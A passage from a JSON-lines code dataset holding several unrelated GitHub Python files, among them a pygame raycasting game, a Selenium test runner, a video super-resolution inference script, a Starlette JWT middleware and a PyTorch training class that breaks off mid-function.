","repo_name":"zeroviral/leetcode_stuff","sub_path":"string-compression/string-compression.py","file_name":"string-compression.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"2916833435","text":"# main\r\n# Basado en lo escrito por Coder Space:\r\n# https://youtu.be/ECqUrT7IdqQ\r\n# Basado en lo escrito por Code Monkey King tambien:\r\n# https://youtu.be/Rt5rEW0jQjw\r\n# E Ing. Dennis Aldana / Ing. Carlos Alonso\r\n\r\nimport pygame\r\nimport sys\r\nimport numpy as np\r\n# IMPORTAR LAS CLASES\r\nfrom variables import *\r\nfrom map import *\r\nfrom player import *\r\nfrom raycasting import *\r\nfrom renderer import *\r\nfrom sprites import *\r\nfrom mapObjects import *\r\nfrom music import *\r\nfrom gun import *\r\n\r\n\r\nclass raycastingGame:\r\n def __init__(this):\r\n \r\n ###########################\r\n pygame.init()\r\n pygame.mouse.set_visible(False)\r\n ###########################\r\n \r\n this.SCREEN = pygame.display.set_mode((WIDTH, HEIGHT)) # Inicia la surface\r\n # pygame.display.set_caption(\"Raycasting\")\r\n # timer\r\n this.TIMER = pygame.time.Clock() # Para los FPS\r\n this.delta = 1\r\n this.newGame()\r\n \r\n # Inicializa las funciones de las clases\r\n def newGame(this): \r\n this.MAP = Map(this)\r\n this.player = Player(this)\r\n this.renderer = Renderer(this)\r\n this.raycasting = Raycasting(this)\r\n # this.sprite = Sprite(this)\r\n # this.animSprite = AnimatedSprite(this)\r\n this.objmap = mapObjects(this)\r\n this.gun = Gun(this)\r\n this.music = Music(this)\r\n pygame.mixer.music.play(-1) # Tocar musica de fondo siempre\r\n\r\n def update(this): # Actualiza\r\n # Actualiza con las funciones update de las clases\r\n this.player.update()\r\n this.raycasting.update()\r\n this.objmap.update()\r\n this.gun.update()\r\n # this.sprite.update()\r\n # this.animSprite.update()\r\n pygame.display.flip()\r\n # Set FPS\r\n this.delta = this.TIMER.tick(45)\r\n pygame.display.set_caption(f'{this.TIMER.get_fps() :.1f}') # Imprime contador de FPS en el borde superior\r\n\r\n def drawScreen(this): # Crea la escena\r\n this.renderer.draw() \r\n this.gun.drawGun() # Dibuja arma al centro de pantalla\r\n\r\n def checkE(this):\r\n # Quit pygame\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n sys.exit(0)\r\n this.player.gunFire(event) # Click izquierdo dispara\r\n\r\n def run(this): # Corre la funcion update principal, que contiene las demas\r\n while True:\r\n this.checkE() # Check evento\r\n this.update()\r\n this.drawScreen()\r\n\r\n\r\nif __name__ == '__main__':\r\n game = raycastingGame()\r\n game.run()\r\n","repo_name":"DavidDLM/Proyecto3Graficas","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2621,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17978436712","text":"# -*- coding: utf-8 -*-\n\"\"\"\nTesting module that triggers tests in the browser and then extracts\nthe results in text form.\n\nUnfortunately we cannot rely on phantomjs for this, because of\nhttps://github.com/ariya/phantomjs/issues/11195\nthat prevents us to use ajax requests appropriately.\n\"\"\"\n\nimport time\nimport os\nimport contextlib\nimport sqlite3\nfrom selenium import webdriver\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.common.exceptions import NoAlertPresentException\nimport unittest\n\n\nclass SeleniumTestBase(unittest.TestCase):\n def setUp(self):\n ff_binary = webdriver.firefox.firefox_binary.FirefoxBinary()\n ff_profile = webdriver.firefox.firefox_profile.FirefoxProfile()\n ff_profile.assume_untrusted_cert_issuer = True\n ff_profile.accept_untrusted_certs = True\n capabilities = webdriver.DesiredCapabilities().FIREFOX\n capabilities['acceptSslCerts'] = True\n self.driver = webdriver.Firefox(firefox_binary=ff_binary,\n firefox_profile=ff_profile,\n capabilities=capabilities,\n timeout=60)\n self.driver.implicitly_wait(30)\n self.base_url = \"http://127.0.0.1:12345\"\n self.verificationErrors = []\n self.accept_next_alert = True\n\n permissions_db_path = os.path.join(ff_profile.profile_dir,\n \"permissions.sqlite\")\n\n with contextlib.closing(sqlite3.connect(permissions_db_path)) as db:\n cur = db.cursor()\n cur.execute(\n (\"INSERT INTO moz_perms VALUES (1, '{base_url}', \"\n \"'popup', 1, 0, 0, 1474977124357)\").format(\n base_url=self.base_url))\n db.commit()\n\n def is_element_present(self, how, what):\n try:\n self.driver.find_element(by=how, value=what)\n except NoSuchElementException as e:\n return False\n return True\n\n def is_alert_present(self):\n try:\n self.driver.switch_to_alert()\n except NoAlertPresentException as e:\n return False\n return True\n\n def close_alert_and_get_its_text(self):\n try:\n alert = self.driver.switch_to_alert()\n alert_text = alert.text\n if self.accept_next_alert:\n alert.accept()\n else:\n alert.dismiss()\n return alert_text\n finally:\n self.accept_next_alert = True\n\n def wait_for(self, check_func, timeout=30):\n for i in range(timeout):\n try:\n if check_func():\n break\n except:\n pass\n time.sleep(1)\n else:\n self.fail(\"time out\")\n\n def tearDown(self):\n self.driver.quit()\n self.assertEqual([], self.verificationErrors)\n\n\nclass TestStart(SeleniumTestBase):\n def test_start(self):\n driver = self.driver\n driver.get(self.base_url + \"/tests.html\")\n\n def check_func():\n element = driver.find_element_by_css_selector(\"#qunit-banner\")\n attr = element.get_attribute(\"class\")\n if attr in [\"qunit-fail\", 'qunit-pass']:\n return attr\n\n return None\n\n self.wait_for(check_func)\n result = check_func()\n\n if result == \"qunit-fail\":\n for elem in driver.find_elements_by_css_selector(\n \"#qunit-tests > .fail\"):\n print(\"------------------------------------\")\n print(elem.text)\n print(\"------------------------------------\")\n\n elem = driver.find_element_by_css_selector(\"#qunit-testresult\")\n print(\"------------------------------------\")\n print(elem.text)\n\n self.assertEqual(result, \"qunit-pass\")\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"simphony/tornado-webapi","sub_path":"jstests/selenium_testrunner.py","file_name":"selenium_testrunner.py","file_ext":"py","file_size_in_byte":3948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22883019645","text":"import argparse\nimport glob\nimport os\n\nimport cv2\nimport mmcv\nimport numpy as np\nimport torch\nfrom mmcv.runner import load_checkpoint\nfrom mmedit.core import tensor2img\n\nfrom realbasicvsr.models.builder import build_model\n\nVIDEO_EXTENSIONS = ('.mp4', '.mov')\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(\n description='Inference script of RealBasicVSR')\n parser.add_argument('config', help='test config file path')\n parser.add_argument('checkpoint', help='checkpoint file')\n parser.add_argument('input_dir', help='directory of the input video')\n parser.add_argument('output_dir', help='directory of the output video')\n parser.add_argument(\n '--max_seq_len',\n type=int,\n default=None,\n help='maximum sequence length to be processed')\n parser.add_argument(\n '--is_save_as_png',\n type=bool,\n default=True,\n help='whether to save as png')\n parser.add_argument(\n '--fps', type=float, default=25, help='FPS of the output video')\n args = parser.parse_args()\n\n return args\n\n\ndef init_model(config, checkpoint=None):\n \"\"\"Initialize a model from config file.\n\n Args:\n config (str or :obj:`mmcv.Config`): Config file path or the config\n object.\n checkpoint (str, optional): Checkpoint path. If left as None, the model\n will not load any weights.\n device (str): Which device the model will deploy. Default: 'cuda:0'.\n\n Returns:\n nn.Module: The constructed model.\n \"\"\"\n\n if isinstance(config, str):\n config = mmcv.Config.fromfile(config)\n elif not isinstance(config, mmcv.Config):\n raise TypeError('config must be a filename or Config object, '\n f'but got {type(config)}')\n config.model.pretrained = None\n config.test_cfg.metrics = None\n model = build_model(config.model, test_cfg=config.test_cfg)\n if checkpoint is not None:\n checkpoint = load_checkpoint(model, checkpoint)\n\n model.cfg = config # save the config in the model for convenience\n model.eval()\n\n return model\n\n\ndef main():\n args = parse_args()\n\n # initialize the model\n model = init_model(args.config, args.checkpoint)\n\n # read images\n file_extension = os.path.splitext(args.input_dir)[1]\n if file_extension in VIDEO_EXTENSIONS: # input is a video file\n video_reader = mmcv.VideoReader(args.input_dir)\n inputs = []\n for frame in video_reader:\n inputs.append(np.flip(frame, axis=2))\n elif file_extension == '': # input is a directory\n inputs = []\n input_paths = sorted(glob.glob(f'{args.input_dir}/*'))\n for input_path in input_paths:\n img = mmcv.imread(input_path, channel_order='rgb')\n inputs.append(img)\n else:\n raise ValueError('\"input_dir\" can only be a video or a directory.')\n\n for i, img in enumerate(inputs):\n img = torch.from_numpy(img / 255.).permute(2, 0, 1).float()\n inputs[i] = img.unsqueeze(0)\n inputs = torch.stack(inputs, dim=1)\n\n # map to cuda, if available\n cuda_flag = False\n if torch.cuda.is_available():\n model = model.cuda()\n cuda_flag = True\n\n with torch.no_grad():\n if isinstance(args.max_seq_len, int):\n outputs = []\n for i in range(0, inputs.size(1), args.max_seq_len):\n imgs = inputs[:, i:i + args.max_seq_len, :, :, :]\n if cuda_flag:\n imgs = imgs.cuda()\n outputs.append(model(imgs, test_mode=True)['output'].cpu())\n outputs = torch.cat(outputs, dim=1)\n else:\n if cuda_flag:\n inputs = inputs.cuda()\n outputs = model(inputs, test_mode=True)['output'].cpu()\n\n if os.path.splitext(args.output_dir)[1] in VIDEO_EXTENSIONS:\n output_dir = os.path.dirname(args.output_dir)\n mmcv.mkdir_or_exist(output_dir)\n\n h, w = outputs.shape[-2:]\n fourcc = cv2.VideoWriter_fourcc(*'mp4v')\n video_writer = cv2.VideoWriter(args.output_dir, fourcc, args.fps,\n (w, h))\n for i in range(0, outputs.size(1)):\n img = tensor2img(outputs[:, i, :, :, :])\n video_writer.write(img.astype(np.uint8))\n cv2.destroyAllWindows()\n video_writer.release()\n else:\n mmcv.mkdir_or_exist(args.output_dir)\n for i in range(0, outputs.size(1)):\n output = tensor2img(outputs[:, i, :, :, :])\n filename = os.path.basename(input_paths[i])\n if args.is_save_as_png:\n file_extension = os.path.splitext(filename)[1]\n filename = filename.replace(file_extension, '.png')\n mmcv.imwrite(output, f'{args.output_dir}/{filename}')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ckkelvinchan/RealBasicVSR","sub_path":"inference_realbasicvsr.py","file_name":"inference_realbasicvsr.py","file_ext":"py","file_size_in_byte":4840,"program_lang":"python","lang":"en","doc_type":"code","stars":759,"dataset":"github-code","pt":"75"} +{"seq_id":"8292354578","text":"\"\"\"\nJWT Middleware module\n\nClasses:\n - JWTUser : goes in request.user\n - JWTAuthenticationBackend\n - JWTWebSocketAuthenticationBackend\n\nRaises:\n Exception: If configuration has no SECRET\n\"\"\"\n\nfrom os import environ\nimport typing\nfrom uuid import UUID\n\nfrom http.cookies import SimpleCookie\nimport jwt\nfrom starlette.authentication import (\n AuthenticationBackend, AuthenticationError, BaseUser, AuthCredentials,\n UnauthenticatedUser)\nfrom starlette.requests import HTTPConnection, Request\nfrom starlette.exceptions import HTTPException\n\nfrom .user import CheckUser, JWTUser, Nobody\nfrom ..logging import logger\nfrom ..conf import CONFIG\nfrom ..lib.responses import ORJSONResponse\n\nSECRET=None\n\ntry:\n with open(CONFIG.get('secret', ''), 'r') as secret_file:\n SECRET = secret_file.read().strip()\nexcept FileNotFoundError:\n logger.error('Could not import SECRET variable from conf module,'\\\n ' using HALFAPI_SECRET environment variable')\n\ndef cookies_from_scope(scope):\n cookie = dict(scope.get(\"headers\") or {}).get(b\"cookie\")\n if not cookie:\n return {}\n\n simple_cookie = SimpleCookie()\n simple_cookie.load(cookie.decode(\"utf8\"))\n return {key: morsel.value for key, morsel in simple_cookie.items()}\n\ndef on_auth_error(request: Request, exc: Exception):\n response = ORJSONResponse({\"error\": str(exc)}, status_code=401)\n response.delete_cookie('Authorization')\n return response\n\nclass JWTAuthenticationBackend(AuthenticationBackend):\n def __init__(self, secret_key: str = SECRET,\n algorithm: str = 'HS256', prefix: str = 'JWT'):\n\n if secret_key is None:\n raise Exception('Missing secret_key argument for JWTAuthenticationBackend')\n self.secret_key = secret_key\n self.algorithm = algorithm\n self.prefix = prefix\n\n @property\n def id(self) -> str:\n return self.__id\n\n async def authenticate(\n self, conn: HTTPConnection\n ) -> typing.Optional[typing.Tuple['AuthCredentials', 'BaseUser']]:\n\n # Standard way to authenticate via API\n # https://datatracker.ietf.org/doc/html/rfc7235#section-4.2\n token = conn.headers.get('Authorization')\n\n if not token:\n token = cookies_from_scope(conn.scope).get('Authorization')\n\n is_check_call = 'check' in conn.query_params\n\n PRODUCTION = conn.scope['app'].debug == False\n\n if not token and not is_check_call:\n return AuthCredentials(), Nobody()\n\n try:\n if token:\n payload = jwt.decode(token,\n key=self.secret_key,\n algorithms=[self.algorithm],\n options={\n 'verify_signature': True\n })\n\n if is_check_call:\n if token:\n return AuthCredentials(), CheckUser(payload['user_id'])\n\n return AuthCredentials(), Nobody()\n\n\n if PRODUCTION and 'debug' in payload.keys() and payload['debug']:\n raise AuthenticationError(\n 'Trying to connect using *DEBUG* token in *PRODUCTION* mode')\n\n except jwt.ExpiredSignatureError as exc:\n return AuthCredentials(), Nobody()\n except jwt.InvalidTokenError as exc:\n raise AuthenticationError(str(exc)) from exc\n except Exception as exc:\n logger.error('Authentication error : %s', exc)\n raise exc\n\n\n return AuthCredentials([\"authenticated\"]), JWTUser(\n user_id=payload['user_id'], token=token, payload=payload)\n\n\n\nclass JWTWebSocketAuthenticationBackend(AuthenticationBackend):\n\n def __init__(self, secret_key: str, algorithm: str = 'HS256', query_param_name: str = 'jwt',\n user_id: UUID = None, audience = None):\n self.secret_key = secret_key\n self.algorithm = algorithm\n self.query_param_name = query_param_name\n self.__id = user_id\n self.audience = audience\n\n\n async def authenticate(\n self, conn: HTTPConnection\n ) -> typing.Optional[typing.Tuple[\"AuthCredentials\", \"BaseUser\"]]:\n\n if self.query_param_name not in conn.query_params:\n return AuthCredentials(), Nobody()\n\n token = conn.query_params[self.query_param_name]\n\n try:\n payload = jwt.decode(\n token,\n key=self.secret_key,\n algorithms=[self.algorithm],\n audience=self.audience,\n options={\n 'verify_signature': bool(PRODUCTION)\n })\n\n if PRODUCTION and 'debug' in payload.keys() and payload['debug']:\n raise AuthenticationError(\n 'Trying to connect using *DEBUG* token in *PRODUCTION* mode')\n\n except jwt.InvalidTokenError as exc:\n raise AuthenticationError(str(exc)) from exc\n\n return (\n AuthCredentials([\"authenticated\"]),\n JWTUser(\n user_id=payload['id'],\n token=token,\n payload=payload)\n )\n","repo_name":"halfAPI/halfapi","sub_path":"halfapi/lib/jwt_middleware.py","file_name":"jwt_middleware.py","file_ext":"py","file_size_in_byte":5107,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"3187380258","text":"alunos = list()\nwhile True:\n nome = str(input(\"Nome: \"))\n nota1 = float(input(\"Nota1: \"))\n nota2 = float(input(\"Nota2: \"))\n media = (nota1 + nota2) / 2\n alunos.append([nome,[nota1,nota2],media])\n resp = str(input(\"Quer continuar ? [S/N]\")).lower().strip()\n if resp in 'n':\n break\nprint(\"-=\" *30)\nprint(f'{\"No.\":<4} {\"Nome\":<10} {\"Média\":>8}')\nprint(\"-=\" *30)\nfor i,a in enumerate(alunos):\n print(f'{i:<4}{a[0]:<10}{a[2]:>8.3}')\nprint(\"-=\" *30)\nwhile True:\n print('-' *35)\n opc = int(input(\"Mostrar notas de qual aluno? (999 interrompe): \"))\n if opc == 999:\n break\n if opc <= len(alunos) - 1:\n print(f\"Notas de {alunos[opc][0]} são {alunos[opc][1]}\")\n print(\"Volte sempre!\")","repo_name":"felipmarqs/exerciciospythonbrasil","sub_path":"exercicios de tuplas_listas_dicionários/nome_2notas.py","file_name":"nome_2notas.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9383378232","text":"import numpy as np\nfrom skimage.morphology import skeletonize\nimport sknw\nimport cv2\nimport os\nfrom argparse import ArgumentParser\ndef parse_args():\n parser = ArgumentParser()\n parser.add_argument('img', help='the path of road prediction')\n parser.add_argument('output', help='the output directory of fined-road')\n parser.add_argument(\n '--tau', type=int, default=100, help='connect points in distance tau')\n parser.add_argument(\n '--thickness', type=int, default=10, help='make lines thickening')\n parser.add_argument(\n '--angle', type=int, default=10, help='connect lines if angle matching')\n parser.add_argument(\n '--post_area_threshold', type=int, default=200, help='discard small pieces')\n args = parser.parse_args()\n return args\n \ndef distance(x,y):\n return np.sqrt(np.sum(np.square([x[0]-y[0],x[1]-y[1]])))\ndef remove_noise(img, post_area_threshold):\n contours, hierarch = cv2.findContours(img, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\n for i in range(len(contours)):\n area = cv2.contourArea(contours[i])\n length = cv2.arcLength(contours[i], True)\n if area <= post_area_threshold or length <= post_area_threshold:\n cnt = contours[i]\n cv2.drawContours(img, [cnt], 0, 0, -1)\n img[img!=0]=1\n return img\ndef patch_regular(gt,tau=100,thickness=10,angle=10):\n ske = skeletonize(gt).astype(np.uint16)\n graph = sknw.build_sknw(ske)\n points=[]\n nodes=set()\n for (s,e) in graph.edges():\n ps = graph[s][e]['pts']\n if len(ps)<11:continue\n p1=[float(ps[0,0]),float(ps[0,1])]\n p1_pre=[float(ps[10,0]),float(ps[10,1])]\n k_p1=90 if p1[0]==p1_pre[0] else np.arctan(-float((p1[1]-p1_pre[1])/(p1[0]-p1_pre[0])))*57.29577\n p1.append(k_p1)\n p2=[float(ps[-1,0]),float(ps[-1,1])]\n p2_pre=[float(ps[-10,0]),float(ps[-10,1])]\n k_p2=90 if p2[0]==p2_pre[0] else np.arctan(-float((p2[1]-p2_pre[1])/(p2[0]-p2_pre[0])))*57.29577\n p2.append(k_p2)\n nodes.add(str(p1))\n nodes.add(str(p2))\n points.append({str(p1),str(p2)})\n for i in range(0,len(ps)-1):\n cv2.line(gt,(int(ps[i,1]),int(ps[i,0])), (int(ps[i+1,1]),int(ps[i+1,0])), 1,thickness=thickness)\n ps=[eval(i) for i in list(nodes)]\n for num in range(len(ps)):\n for other in range(len(ps)):\n if other!=num and {str(ps[num]),str(ps[other])} not in points:\n dis= distance(ps[num][:2],ps[other][:2])\n if dis 20)\n & (jets_s.neHEF < 0.9)\n & (jets_s.neEmEF < 0.9)\n & (jets_s.muEmEF < 0.8)\n & (jets_s.chHEF > 0.01)\n #& (jets_s.nCh > 0)\n & (jets_s.chEmEF < 0.8)\n ]\n\n jets_o = events.JetCHS\n jets_o = jets_o[\n (abs(jets_o.eta) < 2.5)\n #& (jets_o.pt > 20)\n & (jets_o.neHEF < 0.9)\n & (jets_o.neEmEF < 0.9)\n & (jets_o.muEF < 0.8)\n & (jets_o.chHEF > 0.01)\n #& (jets_o.nCh > 0)\n & (jets_o.chEmEF < 0.8)\n ]\n\n jets_ss = jets_s[\n (ak.num(jets_s) > 2)\n & (ak.num(jets_o) > 2)\n ][:,:3]\n jets_oo = jets_o[\n (ak.num(jets_s) > 2)\n & (ak.num(jets_o) > 2)\n ][:,:3]\n\n def require_dijets(jets, pt_type=\"pt\"):\n\n dijets = (\n (abs(jets[:, 0].delta_phi(jets[:, 1])) > 2.7)\n & (jets[:,2][pt_type] < 0.1 * (jets[:,0][pt_type] + jets[:,1][pt_type]) / 2)\n )\n\n return dijets\n \n def run_deltar_matching(obj1, obj2, radius=0.4): # NxM , NxG arrays\n _, obj2 = ak.unzip(ak.cartesian([obj1, obj2], nested=True)) # Obj2 is now NxMxG\n obj2['dR'] = obj1.delta_r(obj2) # Calculating delta R\n t_index = ak.argmin(obj2.dR, axis=-2) # Finding the smallest dR (NxG array)\n s_index = ak.local_index(obj1.eta, axis=-1) # NxM array\n _, t_index = ak.unzip(ak.cartesian([s_index, t_index], nested=True)) \n obj2 = obj2[s_index == t_index] # Pairwise comparison to keep smallest delta R\n\n # Cutting on delta R\n obj2 = obj2[obj2.dR < radius] #Additional cut on delta R, now a NxMxG' array \n return obj2\n \n req_dijets_s = require_dijets(jets_ss, self._pt_type)\n req_dijets_o = require_dijets(jets_oo)\n\n dijets_s = jets_ss[(req_dijets_s) & (req_dijets_o)][:,:2]\n dijets_o = jets_oo[(req_dijets_s) & (req_dijets_o)][:,:2]\n \n dijets_o_dr = ak.flatten(run_deltar_matching(dijets_s, dijets_o, 0.2), axis=2)\n dijet_s_dr = dijets_s[(ak.num(dijets_o_dr) > 1)]\n dijet_o_dr = dijets_o_dr[(ak.num(dijets_o_dr) > 1)]\n \n def fill(hlt_jets, reco_jets, var):\n\n var_tmp = var\n if var == \"pt\":\n var_tmp = self._pt_type\n if var == \"mass\":\n var_tmp = self._mass_type\n \n for i in [0, 1]:\n\n self._output[var].fill(\n hlt = abs(hlt_jets[:, i][var_tmp]),\n reco = abs(reco_jets[:, i][var]),\n )\n\n self._output[var + \"_mean\"].fill(\n sample = abs(hlt_jets[:, i][var_tmp]) / abs(reco_jets[:, i][var]),\n hlt = hlt_jets[:, i][self._pt_type],\n )\n\n for var in [\"pt\", \"mass\", \"eta\", \"phi\"]:\n\n fill(dijet_s_dr, dijet_o_dr, var) \n \n return self._output\n\n def postprocess(self, accumulator):\n pass\n","repo_name":"alintulu/PNCalibration","sub_path":"processors/diff.py","file_name":"diff.py","file_ext":"py","file_size_in_byte":7823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"28516387979","text":"import wx\nimport num2word_PL as n2wPL\n\nlabels=\"EXE\".split()\nflags={\"EXE\":wx.ALIGN_TOP}\n\n\nclass ChildPanel(wx.Panel):\n\n def __init__(self,parent=None,id=-1,title=\"New test\"):\n\n wx.Panel.__init__(self,parent,id) \n self.SetBackgroundColour(\"grey\")\n self.panelControls = {'checkboxes':{}, # stores checkboxes references\n 'ranges':{}} # stores ranges ctrls\n \n sizer=wx.FlexGridSizer(rows=4,cols=3,hgap=5,vgap=5)\n\n self.GenerateCheckBox(sizer)\n self.GenerateTestRange(sizer)\n self.GenerateTextCtrl(sizer)\n \n self.GenerateStaticText(sizer)\n \n for label in labels:\n self.button=wx.Button(parent=self,id=-1,label=label)\n sizer.Add(self.button,0,flags.get(label,0),100)\n self.Bind(wx.EVT_BUTTON,self.Execute,self.button)\n\n self.GrowableCols(sizer)\n self.GrowableRows(sizer)\n\n self.SetSizer(sizer)\n self.Fit()\n\n # methods for StaticText\n def StaticTextData(self):\n \n return ((\"Dafault values:\\nfrom 1 to 10 with step 1\"),(\"\")) \n\n def GenerateStaticText(self,sizer):\n\n for label in self.StaticTextData():\n sizer.Add(wx.StaticText(self,id=-1,label=label))\n\n #methods for sizer Growable Cols & Rows\n def GrowableColsData(self):\n return ((0,1),(1,1),(2,1))\n\n def GrowableCols(self,sizer):\n\n for cR in self.GrowableColsData():\n sizer.AddGrowableCol(cR[0],cR[1])\n \n def GrowableRowsData(self):\n return ((0,1),(1,1),(2,2))\n\n def GrowableRows(self,sizer):\n\n for cR in self.GrowableRowsData():\n sizer.AddGrowableRow(cR[0],cR[1])\n \n #methodn for CheckBox\n def CheckBoxData(self):\n\n return ((\"n2w_MainTest\"),\n (\"n2w_currency\"),\n (\"n2w_date\"))\n\n def GenerateCheckBox(self,sizer):\n\n for eachItem in self.CheckBoxData():\n self.panelControls['checkboxes'][eachItem] = wx.CheckBox(parent=self,id=-1,label=eachItem)\n sizer.Add(self.panelControls['checkboxes'][eachItem])\n\n #-----------------------\n def TestRangeData(self):\n\n return ((\"Min :\"),\n (\"Max :\"),\n (\"Step :\"))\n \n\n def GenerateTestRange(self,sizer):\n \n for eachItem in self.TestRangeData():\n label=eachItem\n \n Stext=wx.StaticText(self,id=-1,label=label)\n sizer.Add(Stext)\n\n def TextCtrlPos(self):\n \n return ((\"min\"),\n (\"max\"),\n (\"step\"))\n \n def GenerateTextCtrl(self,sizer):\n\n for eachItem in self.TextCtrlPos():\n self.panelControls['ranges'][eachItem] = wx.TextCtrl(parent=self,id=-1)\n sizer.Add(self.panelControls['ranges'][eachItem])\n\n def Execute(self,event):\n\n t=n2wPL.Test()\n \n tM=[()]*6\n i=0\n for k,v in self.panelControls['ranges'].iteritems() :\n \n if v.GetValue() == '': #default values\n if k == 'min':\n v=1\n min=v\n elif k == 'max':\n v=10\n max=v\n elif k == 'step':\n v=1\n step=v\n elif v.GetValue != '': #not default values\n var=int(v.GetValue())\n if k == 'min' and var != '' :\n v=var\n min=var\n elif k == 'max' and var != '' :\n v=var\n max=var\n elif k == 'step' and var != '' :\n v=var\n step=var\n \n tM[i]=(k,v)\n i+=1\n\n for k,v in self.panelControls['checkboxes'].iteritems():\n v=int(v.GetValue())\n tM[i]=(k,v)\n i+=1\n\n for item in tM:\n\n if item[0] == 'n2w_date':\n Date = item[1]\n elif item[0] == 'n2w_currency':\n Currency = item[1]\n elif item[0] == 'n2w_MainTest':\n MainTest = item[1]\n \n t.test(MainTest,Currency,Date,min,max,step)\n\n\nclass ParentFrame(wx.Frame):\n\n def __init__(self,parent=None,id=-1,title=\"WxApp for genereting n2w tests\",size=(1024,768)):\n \n wx.Frame.__init__(self,parent,id,title,size)\n \n mbar=self.MakeMenuBar()\n self.SetMenuBar(mbar)\n self.CreateStatusBar()\n panel=ChildPanel(self)\n \n def MakeMenuBar(self):\n\n menuBar=wx.MenuBar()\n menu=wx.Menu()\n exit=menu.Append(-1,\"Exit\")\n menuBar.Append(menu,\"File\")\n self.Bind(wx.EVT_MENU,self.CloseUI,exit)\n \n return menuBar\n\n def CloseUI(self,event):\n\n self.Close()\n\nif __name__ == \"__main__\":\n app=wx.PySimpleApp()\n ParentFrame().Show()\n app.MainLoop()\n\n","repo_name":"sebzur/num2word","sub_path":"num2word/num2word_gen_test.py","file_name":"num2word_gen_test.py","file_ext":"py","file_size_in_byte":4941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14711504344","text":"\nimport torch.nn as nn\nfrom netparsers.staticnets import StaticNet,DenseNet,CompositeNet\nfrom optstructs import allOpts\nfrom layers.klmodules import MyModule\nfrom torch.optim import Optimizer\nfrom resultutils.resultstructs import *\nimport torch\nfrom torch.optim.lr_scheduler import LambdaLR\nfrom torch.optim import *\nfrom torch.nn.modules import Module\nfrom torchvision.utils import *\nfrom layers.pmaputils import *\nfrom torch.utils.data.dataloader import DataLoader\nfrom layers.klmodules import *\nimport timeit\nimport random\nimport tkinter as tk\nclass Epocher(object):\n\tdef __init__(self,opts:allOpts):\n\n\t\tsuper(Epocher, self).__init__()\n\t\tself.opts = opts\n\t\tself.trainloader, self.testloader = self.create_data_set(opts) # type:DataLoader\n\t\tself.model = self.create_model_module(opts,sample_data=self.trainloader.__iter__().next()[0]) #type:MyModule\n\t\tself.optimizer = self.create_optimizer(opts,self.model)\n\t\tself.results=None\n\t\tself.path=None\n\n\tdef create_data_set(self, opts):\n\n\t\ttrain_loader, test_loader = self.opts.dataopts.get_loaders(self.opts)\n\n\t\treturn train_loader, test_loader\n\n\tdef reinstantiate_model(self):\n\t\tself.model = self.create_model_module(self.opts, sample_data=None) # type:MyModule\n\t\tself.optimizer = self.create_optimizer(self.opts, self.model)\n\t\tself.results = None\n\n\tdef create_model_module(self,opts,sample_data=None) -> StaticNet:\n\t\t# TODO: Static Net is replaced by Composite Net\n\t\tmodule = StaticNet(opts.netopts.modelstring,\n\t\t opts.netopts.input_channelsize,\n\t\t weightinit=opts.netopts.weightinit,\n\t\t biasinit=opts.netopts.biasinit,\n\t\t sample_data=sample_data)\n\t\treturn module\n\n\tdef create_optimizer(self,opts, model: Module):\n\t\toptimopts = opts.optimizeropts\n\t\tif opts.epocheropts.gpu:\n\t\t\tdevice = torch.device(\"cpu\")\n\t\t\tmodel = model.to(device=device)\n\n\t\toptim = globals()[optimopts.type](model.parameters(),\n\t\t lr=optimopts.lr,\n\t\t momentum=optimopts.momentum,\n\t\t weight_decay=optimopts.weight_decay,\n\t\t dampening=optimopts.dampening,\n\t\t nesterov=optimopts.nestrov)\n\t\topts.optimizeropts.lr_sched = LambdaLR(optim, opts.optimizeropts.lr_sched_lambda, last_epoch=-1)\n\t\treturn optim\n\n\tdef order_batch_by_label(self,batch,labels):\n\t\t_,indices = labels.sort(dim=0)\n\t\tbatch = batch[indices,:,:,:]\n\t\treturn batch\n\n\tdef logical_index(self,batch:Tensor,booleanind):\n\t\tif booleanind.all() and booleanind.numel()==1:\n\t\t\treturn batch\n\t\tint_index= booleanind.nonzero().squeeze()\n\t\treturn batch.index_select(dim=0,index=int_index)\n\n\tdef label_to_onehot(self,output:Tensor, label):\n\t\tonehot = output.new_zeros(output.size())\n\t\tlabel= label.unsqueeze(0).unsqueeze(2).unsqueeze(3).unsqueeze(4)\n\t\tlabel = label.transpose(0,1)\n\t\tonehot.scatter_(1,label,1)\n\t\treturn onehot.float()\n\n\tdef block_grad(self,paramlist:List,ind=None):\n\t\tlength = paramlist.__len__()\n\t\ttotalnorm = 0\n\t\tif ind is None:\n\t\t\tind = random.randint(0, length-1)\n\t\tmaxnorm= -1\n\t\tmaxind = -1\n\t\tfor i in range(length):\n\t\t\tif paramlist[i].grad is None: continue\n\t\t\tthisnorm = (paramlist[i].grad**2).sum()\n\t\t\ttotalnorm +=thisnorm\n\t\t\tif thisnorm> maxnorm:\n\t\t\t\tmaxnorm = thisnorm\n\t\t\t\t# if maxind!=-1 :paramlist[maxind].grad= None\n\t\t\t\tmaxind = i\n\t\treturn totalnorm.sqrt()\n\n\tdef rnd_block_grad(self,paramlist:List,ind=None):\n\t\tlength = paramlist.__len__()\n\t\ttotalnorm = 0\n\t\tif ind is None:\n\t\t\tind = random.randint(0, length-1)\n\t\tfor i in range(length):\n\t\t\tif paramlist[i].grad is None:\n\t\t\t\tind= ind-1\n\t\t\t\tcontinue\n\t\t\ttotalnorm = totalnorm + paramlist[i].grad.sum()\n\t\t\tif i!= ind 